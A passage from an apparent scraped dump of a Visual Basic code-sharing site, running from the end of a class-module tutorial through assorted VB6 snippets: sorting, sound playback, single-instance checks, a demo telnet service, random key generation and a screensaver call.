'MessageBox it to you,\nnote that this is actually a function instead of a sub as\n┬á┬á┬á┬á┬á┬á┬á 'from the MsgBoxNames\nprocedure\n┬á┬á┬á┬á┬á┬á┬á MsgBox Obj.ReturnName,\nvbOKOnly + vbInformation\n┬á ┬á┬áNext Obj\nEnd Sub\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nPrivate Sub ReturnNamesByProperty()\n┬á┬á┬á 'This creates an Object\nVariable that will hold references to the Objects in\n┬á┬á┬á 'the Collection\n┬á┬á┬á Dim Obj As Object\n┬á┬á┬á \n┬á┬á┬á For Each Obj In\nfClassCollection\n┬á┬á┬á┬á┬á┬á┬á 'This calls the Method\nto Return the Names currently in the Collection, and then\n┬á┬á┬á┬á┬á┬á┬á 'MessageBox it to you,\nnote that this is actually a function instead of a sub as\n┬á┬á┬á┬á┬á┬á┬á 'from the MsgBoxNames\nprocedure\n┬á┬á┬á┬á┬á┬á┬á MsgBox Obj.Name,\nvbOKOnly + vbInformation\n┬á┬á┬á Next Obj\nEnd Sub\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nPrivate Sub ReturnNamesBySub()\n┬á┬á┬á 'This creates an Object\nVariable that will hold references to the Objects in\n┬á┬á┬á 'the Collection\n┬á┬á┬á Dim Obj As Object\n┬á┬á┬á \n┬á┬á┬á For Each Obj In\nfClassCollection\n┬á┬á┬á┬á┬á┬á┬á 'This calls the Method\nto MessageBox out the Names currently in the Collection\n┬á┬á┬á┬á┬á┬á┬á Obj.MsgBoxName\n┬á┬á┬á Next Obj\nEnd Sub\n***End Copy***\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nclsClassTest:\n***Start Copy***\nOption Explicit\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n'These are internal variables that any one particular instance of this\nClass can see\n'This holds the Name Property\nPrivate fstrName As String\n'These hold the Max and Min sizes for the GenerateRandomText Function\nPrivate Const fcMin = 5\nPrivate Const fcMax = 10\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n'This sets the Name Property, it is based off of the Private 'fstrName'\nVariable\nProperty Let Name(ByVal strName As String)\n┬á┬á┬á If strName = ""\nThen\n┬á┬á┬á┬á┬á┬á┬á 'This will call the\nPrivate Sub to create a random jumbled string for the\n┬á┬á┬á┬á┬á┬á┬á ''Name' property if the\nuser add a name that is empty\n┬á┬á┬á┬á┬á┬á┬á Randomize Timer\n┬á┬á┬á┬á┬á┬á┬á GenerateRandomText (Rnd\n* (fcMax - fcMin)) + fcMin\n┬á┬á┬á Else\n┬á┬á┬á┬á┬á┬á┬á fstrName = strName\n┬á┬á┬á End If\nEnd Property\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n'This returns the Name Property, it also must be based on the Private\n'fstrName' Variable\nProperty Get Name() As String\n┬á┬á┬á Name = fstrName\nEnd Property\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n'This is a simple Private Procedure contained in this Class.<span\nstyle=\"mso-spacerun: yes\">┬á Any new instance of this class\n'cannot specifically call this Procedure, it can only be called by\nitself\nPrivate Sub GenerateRandomText(ByVal intSize As Integer)\n┬á┬á┬á Dim lngCounter As Long\n┬á┬á┬á Dim strTemp As String\n┬á┬á┬á Dim bytRnd As Byte\n┬á┬á┬á \n┬á┬á┬á Randomize Timer\n┬á┬á┬á \n┬á┬á┬á For lngCounter = 1 To\nintSize\n┬á┬á┬á┬á┬á┬á┬á bytRnd = CByte((Rnd *\n(Asc("z") - Asc("a"))) + Asc("a"))\n┬á┬á┬á┬á┬á┬á┬á strTemp = strTemp &\nChr(bytRnd)\n┬á┬á┬á Next lngCounter\n┬á┬á┬á \n┬á┬á┬á Name = strTemp\nEnd Sub\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n'This is a simple Public Procedure contained in this Class.<span\nstyle=\"mso-spacerun: yes\">┬á Any new instance of this class\n'can specifically call this Procedure\nPublic Sub MsgBoxName()\n┬á┬á┬á MsgBox fstrName, vbOKOnly +\nvbInformation\nEnd Sub\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n'This is a simple Public Procedure contained in this Class.<span\nstyle=\"mso-spacerun: yes\">┬á Any new instance of this class\n'can specifically call this Procedure\nPublic Sub PrintName(ByVal destObj As Object)\n┬á┬á┬á 'Notice how I called the\nProperty 'Name' instead of referencing the 'fstrName' Variable\n┬á┬á┬á destObj.Print Name\nEnd Sub\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n'This is a simple Public Function contained in this Class.<span\nstyle=\"mso-spacerun: yes\">┬á Any new instance of this class\n'can specifically call this Function\nPublic Function ReturnName() As String\n┬á┬á┬á ReturnName = fstrName\nEnd Function\n***End Copy***\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nTo use this example you can:\n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á type 'a' to add a name\nto the collection, leave the input box empty to create a random string\n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á type 'f' to MessageBox\nthe names in the Collection, called using a Function in the Class\n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á type 'o' to print the\nname in the Collection, called using a Procedure in the Class that contains a\nPrivate Procedure within the Class.\n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á type 'p' to MessageBox\nthe names in the Collection, called using the Name Property in the Class\n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á type 's' to MessageBox\nthe names in the Collection, called using a Procedure in the Class\n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á type ' ' (spacebar) to\nclear the Collection\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nFinal Notes:\n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á In this tutorial, you\nshould have learned how to create and use Class Modules.<span\nstyle=\"mso-spacerun: yes\">┬á You have learned how to create and use Class\nProperties, and you have learned how to create and use Class Methods (Methods\nas Public Procedures, Methods as Public Functions, and Methods as Private\nProcedures).┬á You have also learned how\nto use Collections.┬á You have learned\nhow to Add Objects to a Collection, and Remove Objects from a Collection, as\nwell as loop through each Object in a Collection.\n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á If you find any bugs\nor problems with this tutorial, please let me know!┬á If you have anything to add or comment on, please let me\nknow!┬á If you have found this tutorial\nhelpful, please vote!┬á I can be reached\nat EinsturzendeNeubauten@hotmail.com, or visit my WebSite at\nhttp://www.geocities.com/wieganka, or my mirror site at http://4.41.60.122\n</div>"},{"WorldId":1,"id":21074,"LineNumber":1,"line":"Private Declare Function sndPlaySound32 Lib \"winmm.dll\" Alias \"sndPlaySoundA\" _\n (ByVal lpszSoundName As String, ByVal uFlags As Long) As Long\n' If you use this at Windows Startup, disable the \"Start Windows\" sound in the Control Panel > Sounds utility.\nSub PlaySound()\n Dim fsoFileSystem, fsoFolder, fsoFile, fsoFolderFiles\n Dim strWavs(0 To 50) As String\n Dim intCounter As Integer\n Dim strFileName As String\n \n intCounter = 0\n \n Set fsoFileSystem = CreateObject(\"Scripting.FileSystemObject\")\n Set fsoFolder = fsoFileSystem.GetFolder(\"c:\\winnt\\media\") '<< OR WHATEVER FOLDER YOU WANT\n Set fsoFolderFiles = fsoFolder.Files\n For Each fsoFile In fsoFolderFiles\n If Right(fsoFile.Name, 4) = \".wav\" Then\n strWavs(intCounter) = fsoFile.Name\n intCounter = intCounter + 1\n End If\n Next\n \n strFileName = strWavs(Int(Rnd * intCounter))\n Call sndPlaySound32(fsoFolder & \"\\\" & strFileName, 0)\nEnd Sub\nPrivate Sub Form_Load()\n Form1.Visible = False\n PlaySound\n End\n '(pretty simple, huh?)\nEnd Sub"},{"WorldId":1,"id":21075,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21078,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21079,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21087,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21089,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21094,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21105,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21112,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21113,"LineNumber":1,"line":"Public Sub Sort(ByRef SortArray() As String, ByVal MaxRow As Integer, Optional ByVal MinRow As Integer = 1)\n' Does a shell sort - fairly fast, and flexible\n' In this case, sorts strings, but can easily be modified \n' To suit other data types - simply change the definition of SortArray()\n' and the next line, to the data type of your choice.\nDim TempSwap As String\nDim Offset As Integer\nDim Switch As Integer\nDim Limit As Integer\nDim Row As Integer\n' Set comparison offset to half the number of records in SortArray:\nOffset = (MaxRow - MinRow + 1) \\ 2\nDo While Offset > 0 ' Loop until offset gets to zero.\n Limit = MaxRow - Offset\n Do\n Switch = 0 ' Assume no switches at this offset.\n ' Compare elements and switch ones out of order:\n For Row = MinRow To Limit\n If UCase(SortArray(Row)) > UCase(SortArray(Row + Offset)) = True Then\n TempSwap = SortArray(Row)\n SortArray(Row) = SortArray(Row + Offset)\n SortArray(Row + Offset) = TempSwap\n Switch = Row\n End If\n Next Row\n ' Sort on next pass only to where last switch was made:\n Limit = Switch - Offset\n Loop While Switch\n ' No switches at last offset, try one half as big:\n Offset = Offset \\ 2\nLoop\nEnd Sub"},{"WorldId":1,"id":21117,"LineNumber":1,"line":"Kindly download the attached zip file for the article and three projects related with it. See the Readme file in the zip."},{"WorldId":1,"id":21124,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21128,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21130,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21131,"LineNumber":1,"line":"'This was found at the Microsoft Knowledgebase, Article ID: Q185730 \n'Paste the following code into the code Module for Form1:\nOption Explicit\nPrivate Sub Form_Load()\n If App.PrevInstance Then\n ActivatePrevInstance\n End If\nEnd Sub\n\n'2) Add a Standard Module to the Project.\n'3) Paste the following code into the module:\nOption Explicit\nPublic Const GW_HWNDPREV = 3\nDeclare Function OpenIcon Lib \"user32\" (ByVal hwnd As Long) As Long\nDeclare Function FindWindow Lib \"user32\" Alias \"FindWindowA\" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long\nDeclare Function GetWindow Lib \"user32\" (ByVal hwnd As Long, ByVal wCmd As Long) As Long\nDeclare Function SetForegroundWindow Lib \"user32\" (ByVal hwnd As Long) As Long\nSub ActivatePrevInstance()\n Dim OldTitle As String\n Dim PrevHndl As Long\n Dim result As Long\n 'Save the title of the application.\n OldTitle = App.Title\n 'Rename the title of this application so FindWindow\n 'will not find this application instance.\n App.Title = \"unwanted instance\"\n 'Attempt to get window handle using VB4 class name.\n PrevHndl = FindWindow(\"ThunderRTMain\", OldTitle)\n 'Check for no success.\n If PrevHndl = 0 Then\n 'Attempt to get window handle using VB5 class name.\n PrevHndl = FindWindow(\"ThunderRT5Main\", OldTitle)\n End If\n 'Check if found\n If PrevHndl = 0 Then\n 'Attempt to get window handle using VB6 class name\n PrevHndl = FindWindow(\"ThunderRT6Main\", OldTitle)\n End If\n 'Check if found\n If PrevHndl = 0 Then\n 'No previous instance found.\n Exit Sub\n End If\n 'Get handle to previous window.\n PrevHndl = GetWindow(PrevHndl, GW_HWNDPREV)\n 'Restore the program.\n result = OpenIcon(PrevHndl)\n 'Activate the application.\n result = SetForegroundWindow(PrevHndl)\n 'End the application.\n End\nEnd Sub\nBHeath\nDeffacto Web Designs Team\nhttp://www.deffacto.com"},{"WorldId":1,"id":21133,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21134,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21135,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21139,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21144,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21149,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21158,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21159,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21172,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21177,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21186,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21189,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21194,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21195,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21196,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21206,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21209,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21214,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21216,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21221,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21224,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21227,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21228,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21231,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21233,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21234,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21237,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21238,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21239,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21249,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21250,"LineNumber":1,"line":"Public Function MakeLight(frm As Form, originx As Integer, originy As Integer, radius As Integer, red As Integer, green As Integer, blue As Integer)\nFor tiltx = -0.5 To 0.5 Step 0.5 ' offset it a tad to get the pixels not colored\nFor tilty = -0.5 To 0.5 Step 0.5 ' offset it a tad to get the pixels not colored\nFor tempradius = 0 To radius Step 1 ' colors multiple circles with origins from the origin to origin + radius\nRandomize\ncirclecolor = Int(Rnd * (1 * (radius / 255))) + (tempradius / (radius / 255)) + 1 ' gets a random color in a specific range, give it the light effect\ncirclecolor = Abs(circlecolor - 255) ' inverts the colors from white outside to white inside\nfrm.Circle (originx + tiltx, originy + tilty), tempradius, RGB(circlecolor + red, circlecolor + green, circlecolor + blue) ' makes the circle\nNext tempradius\nNext tilty\nNext tiltx\nEnd Function\n"},{"WorldId":1,"id":21251,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21253,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21255,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21257,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21273,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21277,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21278,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21280,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21283,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21289,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21298,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21308,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21311,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21315,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21319,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21320,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21329,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21330,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21337,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21338,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21342,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21347,"LineNumber":1,"line":"I've been asked several times how to print 1 line at-a-time to a dot-matrix line printer. The existing VB print daemon does the buffer thing and only supports page printing to an inkjet/laser printer. Here is the link I found at Microsoft that explains how to print 1 line at a time.\nhttp://support.microsoft.com/support/kb/articles/Q175/0/83.asp?\nGo to the website and cut/paste the code.\n\n"},{"WorldId":1,"id":21349,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21350,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21352,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21353,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21354,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21357,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21358,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21362,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21363,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21364,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21365,"LineNumber":1,"line":"Private Sub ListRecordsetProperties()\n ' provides a list of all current recordset fields and their properties;\n ' use with any currently open ADO recordset (rs in this example)\n Dim I As Integer\n Dim J As Integer\n \n For I = 0 To rs.Fields.Count - 1\n Debug.Print vbCrLf & \"Field \" & I & \" Name: '\" & rs.Fields.Item(I).Name & \"'\" & vbTab & \"Value: '\" & rs.Fields(I).Value & \"'\" & vbCrLf & \" Properties...\"\n For J = 0 To rs.Fields(I).Properties.Count - 1\n Debug.Print \" Index(\" & J & \") \" & \"Name: \" & rs.Fields(I).Properties(J).Name & \" = \" & rs.Fields(I).Properties(J).Value & vbTab & vbTab & \"Type: \" & rs.Fields(I).Properties(J).Type & \",\" & vbTab & \"Attributes: \" & rs.Fields(I).Properties(J).Attributes\n Next J\n Next I\nEnd Sub"},{"WorldId":1,"id":21370,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21382,"LineNumber":1,"line":"Public strCommand As String\nPrivate Sub Form_Load()\n 'BE SURE TO READ THE \"ASSUMES\" SECTION ABOVE FIRST!\n objService.DisplayName = \"Telnet Server Demo\"\n objService.ServiceName = \"telnetd\"\n wsListen.LocalPort = 26\n \n 'This code is displayed if the user runs the program from\n 'the command-line.\n If Trim$(Command$) <> \"\" Then\n Select Case UCase$(Trim$(Command$))\n Case \"-INSTALL\"\n If objService.Install Then\n MsgBox \"Result: \" & App.Title & \" successfully installed as a Windows NT Service.\" & vbCrLf & \"Service Name: \" & objService.ServiceName, vbInformation, \"Install Complete, Please Re-Start Application\"\n Else\n MsgBox \"Result: \" & App.Title & \" FAILED to installed as a Windows NT Service.\" & vbCrLf & \"Service Name: \" & objService.ServiceName & vbCrLf & vbCrLf & \"Solutions: Check to see if the service is allready installed. If so, run \" & App.EXEName & \" -uninstall to remove it.\", vbInformation, \"Install Failed, Please Re-Start Application\"\n End If\n End\n Case \"-UNINSTALL\"\n If objService.Uninstall Then\n MsgBox \"Result: \" & App.Title & \" successfully uninstalled as a Windows NT Service.\" & vbCrLf & \"Removed Service Name: \" & objService.ServiceName, vbInformation, \"UnInstall Complete, Please Re-Start Application\"\n Else\n MsgBox \"Result: \" & App.Title & \" FAILED to Uninstalled as a Windows NT Service.\" & vbCrLf & \"Service Name: \" & objService.ServiceName & vbCrLf & vbCrLf & \"Solutions: Check to see if the service is installed. If not, run \" & App.EXEName & \" -install to install it.\", vbInformation, \"UnInstall Failed, Please Re-Start Application\"\n End If\n End\n Case Else\n MsgBox \"Valid Syntax: \" & vbCrLf & vbCrLf & \"-install To Install \" & App.Title & \" as a WinNT Service\" & vbCrLf & vbCrLf & \"-uninstall To UN-INSTALL \" & App.Title & \" from the WinNT Service List\", vbInformation, \"Invalid Syntax: Aborting Program Launch\"\n End Select\n End If\n objService.ControlsAccepted = svcCtrlPauseContinue\n objService.StartService\n Me.Hide\nEnd Sub\nPrivate Sub objService_Start(Success As Boolean)\n 'This code is executed when the service is started\n On Error GoTo ErrHandler\n Success = True\n wsListen.Listen\n Exit Sub\nErrHandler:\n 'If service fails, write an event to the system log.\n Call objService.LogEvent(svcMessageError, svcEventError, \"[\" & _\n Err.Number & \"] \" & Err.Description)\n Resume Next\nEnd Sub\nPrivate Sub wsArray_DataArrival(Index As Integer, ByVal bytesTotal As Long)\n 'This code determinds what to do based on user input\n Dim strData(100) As String\n On Error GoTo ErrorHandler\n 'Get the current character user typed\n wsArray(Index).GetData strData(Index), vbString, bytesTotal\n \n If strData(Index) = vbCrLf Or strData(Index) = vbCr Then\n Select Case UCase(wsArray(Index).Tag)\n Case \"RANDOM\"\n 'Display a random number\n wsArray(Index).SendData vbCrLf & Rnd(1) * 100 & vbCrLf\n Case \"TIME\"\n 'Display the current time\n wsArray(Index).SendData vbCrLf & Time() & vbCrLf\n Case \"HELP\"\n wsArray(Index).SendData vbCrLf\n Call ShowMenu(Index)\n Case \"QUIT\"\n wsArray(Index).Tag = \"\"\n wsArray(Index).Close\n Exit Sub\n End Select\n wsArray(Index).Tag = \"\"\n wsArray(Index).SendData vbCrLf & \"=> \"\n ElseIf Asc(strData(Index)) = 8 Then 'Backspace was pressed\n If Not wsArray(Index).Tag = \"\" Then\n 'Remove one character from current input\n wsArray(Index).Tag = Left(wsArray(Index).Tag, Len(wsArray(Index).Tag) - 1)\n 'Move the cursor back one space\n wsArray(Index).SendData Chr(8) & \" \" & Chr(8)\n End If\n Else\n 'This represents the current command. The current command is\n 'each character the user types in until the user presses the\n 'enter key.\n wsArray(Index).Tag = wsArray(Index).Tag & strData(Index)\n 'This ECHOs the character back to the user\n wsArray(Index).SendData strData(Index)\n End If\n Exit Sub\nErrorHandler:\n 'Display an error if one occurs\n Dim ErrDesc As String\n wsArray(Index).SendData vbCrLf & Err.Description & vbCrLf\n wsArray(Index).SendData vbCrLf & \"=> \"\n wsArray(Index).Tag = \"\"\nEnd Sub\nPrivate Sub wsListen_ConnectionRequest(ByVal requestID As Long)\n 'This listens for a connection and finds an open socket\n Dim Index As Integer\n Index = FindOpenWinsock\n wsArray(Index).Accept requestID\n Call ShowMenu(Index)\n wsArray(Index).SendData \"=> \"\nEnd Sub\nPrivate Sub ShowMenu(Index As Integer)\n 'This sends the menu. We used (Index) in every instance of\n 'socket array because we want the data send to the appropriate\n 'user, in case more than one person is connected.\n wsArray(Index).SendData \"+-[Commands]--------------------+\" & vbCrLf\n wsArray(Index).SendData \"| RANDOM - Display random |\" & vbCrLf\n wsArray(Index).SendData \"| TIME - Show system time |\" & vbCrLf\n wsArray(Index).SendData \"| HELP |\" & vbCrLf\n wsArray(Index).SendData \"| QUIT |\" & vbCrLf\n wsArray(Index).SendData \"+-------------------------------+\" & vbCrLf & vbCrLf\nEnd Sub\nPrivate Function FindOpenWinsock()\n 'This function finds the next open socket, allowing your program\n 'to accept more than one connection\n Static LocalPorts As Integer\n 'Find open socket\n For X = 0 To wsArray.UBound\n If wsArray(X).State = 0 Then\n FindOpenWinsock = X\n Exit Function\n End If\n Next X\n 'None are open so let's make one\n Load wsArray(wsArray.UBound + 1)\n 'Let's make sure we don't get conflicting local ports\n LocalPorts = LocalPorts + 1\n wsArray(wsArray.UBound).LocalPort = wsArray(wsArray.UBound).LocalPort + LocalPorts\n \n FindOpenWinsock = wsArray.UBound\nEnd Function\n"},{"WorldId":1,"id":21388,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21391,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21392,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21395,"LineNumber":1,"line":"' Credit goes to these people for code I \n' borrowed/modified:\n' Kevin Lawrence - non-repeating random \n' number generator\n' VBPJ - GenerateRandomNumberInRange \n' (modified by me, from a shuffle routine in VBPJ)\nPublic Function GenerateKey(ByVal iLower As Integer, ByVal iUpper As Integer) As String\n Dim sKey As String\n Dim sChar As String\n Dim iLen As Integer\n Dim iLoop As Integer\n \n ' dont need keys TOO big ...\n iLen = GetRandomNumberInRange(iLower, iUpper)\n \n For iLoop = 1 To iLen\n ' dont include quotes\nRetry:\n Do\n sChar = Chr(GetRandomNumber())\n Loop While sChar = Chr(34)\n ' make sure its 0-9, A-Z, or a-z\n If Not IsValidChar(sChar) Then\n GoTo Retry:\n Else\n sKey = sKey & sChar\n End If\n Next iLoop\n \n GenerateKey = sKey\nEnd Function\nPrivate Function IsValidChar(ByVal sChar As String) As Boolean\n Dim btoggle As Boolean\n \n If Asc(sChar) >= 48 And Asc(sChar) <= 57 Then\n 'valid #\n btoggle = True\n ElseIf Asc(sChar) >= 65 And Asc(sChar) <= 90 Then\n 'valid uppercase character\n btoggle = True\n ElseIf Asc(sChar) >= 97 And Asc(sChar) <= 122 Then\n btoggle = True\n Else\n btoggle = False\n End If\n \n IsValidChar = btoggle\n \nEnd Function\nPublic Function GetRandomNumberInRange(Lower As Integer, Upper As Integer) As Integer\n Static PrimeFactor(10) As Integer\n Static a As Integer\n Static c As Integer\n Static b As Integer\n Static s As Long\n Static n As Integer\n Static n1 As Integer\n \n Dim i As Integer\n Dim j As Integer\n Dim K As Integer\n Dim m As Integer\n Dim t As Boolean\n \n If (n <> Upper - Lower + 1) Then\n n = Upper - Lower + 1\n i = 0\n n1 = n\n K = 2\n \n Do While K <= n1\n If (n1 Mod K = 0) Then\n If (i = 0 Or PrimeFactor(i) <> K) Then\n i = i + 1\n PrimeFactor(i) = K\n End If\n n1 = n1 / K\n Else\n K = K + 1\n End If\n Loop\n b = 1\n \n For j = 1 To i\n b = b * PrimeFactor(j)\n Next j\n If n Mod 4 = 0 Then b = b * 2\n a = b + 1\n c = Int(n * 0.66)\n t = True\n \n Do While t\n t = False\n For j = 1 To i\n If ((c Mod PrimeFactor(j) = 0) Or (c Mod a = 0)) Then t = True\n Next j\n If t Then c = c - 1\n Loop\n Randomize\n s = Rnd(n)\n End If\n s = (a * s + c) Mod n\n GetRandomNumberInRange = s + Lower\nEnd Function\nPublic Function GetRandomNumber() As Integer\n Dim a(122) ' Sets the maximum number To pick\n Dim b(122) ' Will be the list of new numbers (same as DIM above)\n Dim ChosenNumber As Integer\n Dim MaxNumber As Integer\n Dim seq As Integer\n \n 'Set the original array\n MaxNumber = 122 ' Must equal the Dim above\n For seq = 0 To MaxNumber\n a(seq) = seq\n Next seq\n \n 'Main Loop (mix em all up)\n Randomize (Timer)\n \n For seq = MaxNumber To 0 Step -1\n ChosenNumber = Int(seq * Rnd)\n b(MaxNumber - seq) = a(ChosenNumber)\n a(ChosenNumber) = a(seq)\n Next seq\n ' return a random number from a random position in B()\n GetRandomNumber = b(GetRandomNumberInRange(1, 122))\nEnd Function\n"},{"WorldId":1,"id":21402,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21405,"LineNumber":1,"line":"The States: \n0 - The Port is Closed \n1 - Connection in use \n2 - Listening \n3 - Connection Pending \n4 - Resolving Host \n5 - Host Resolved \n6 - Connecting \n7 - Connected \n8 - peer is closing the connection \n9 - Error \nQuestions or comments?"},{"WorldId":1,"id":21410,"LineNumber":1,"line":"The Linker is \n<a href=\"http://lockfree.50megs.com/linker.html\" target=\"_blank\">Here</a> <div style=\"BACKGROUND-COLOR: lime\">\nYou can make a differnt linking to your project's in vb6 - \ne.g : you can make a project with the statment in a module or form : \n\npublic function msgtest() as long \nmsgtest=msgbox(\"Hello DLL\",vbokonly,\"msgbox\") \nend function \nand use the \"Make EXE\" in the file menu to link the project, \nat the end of the compilation process you will see the \"linker pro\", now you can choose the \"Export\" and the function name is: \"msgtest\"\nand you should choose the \"DLL\" option \nnow click the continue button and you will see your new file (dll file,if the extension is exe just rename it) and if you will look for its export function (dependency viewer) you will be happy to find that your new dll is exporting the function msgtest... \n<h2>\n<a href=\"http://lockfree.50megs.com/linker.html\" target=\"_blank\"> to download the linker just click here</a></h2> \n <h2>if you cannot download the file directly ,you can enter here to download it : <a href=\"http://udi.itgo.com/stan.html\" target=\"_blank\">Udi's Site</a></h2> \ni.e.\n \nyou just need to rename your \"link.exe\" in the vb folder to something else (\"link.org\" or something) and to put the downloaded file \"link.exe\" instead.\n \nEnjoy it \n <h2>Udi S.</h2>\n</div>"},{"WorldId":1,"id":21413,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21414,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21419,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21420,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21422,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21424,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21426,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21429,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21431,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21434,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21436,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21443,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21444,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21447,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21453,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21461,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21467,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21470,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21471,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21473,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21475,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21479,"LineNumber":1,"line":"\n(General) (Declarations) \nDeclare Function SendMessage Lib \"user32\" Alias \"SendMessageA\" _\n (ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As _\n Long, ByVal lParam As Long) As Long\nPublic Const WM_SYSCOMMAND = &H112&\nPublic Const SC_SCREENSAVE = &HF140& \nTo actually activate the screensaver only takes one line of code. You can put it anywhere you want, but for my example, I'm placing it in the Click event of a command button.\nCommand1 Click \nPrivate Sub Command1_Click()\n Call SendMessage(Me.hWnd, WM_SYSCOMMAND, 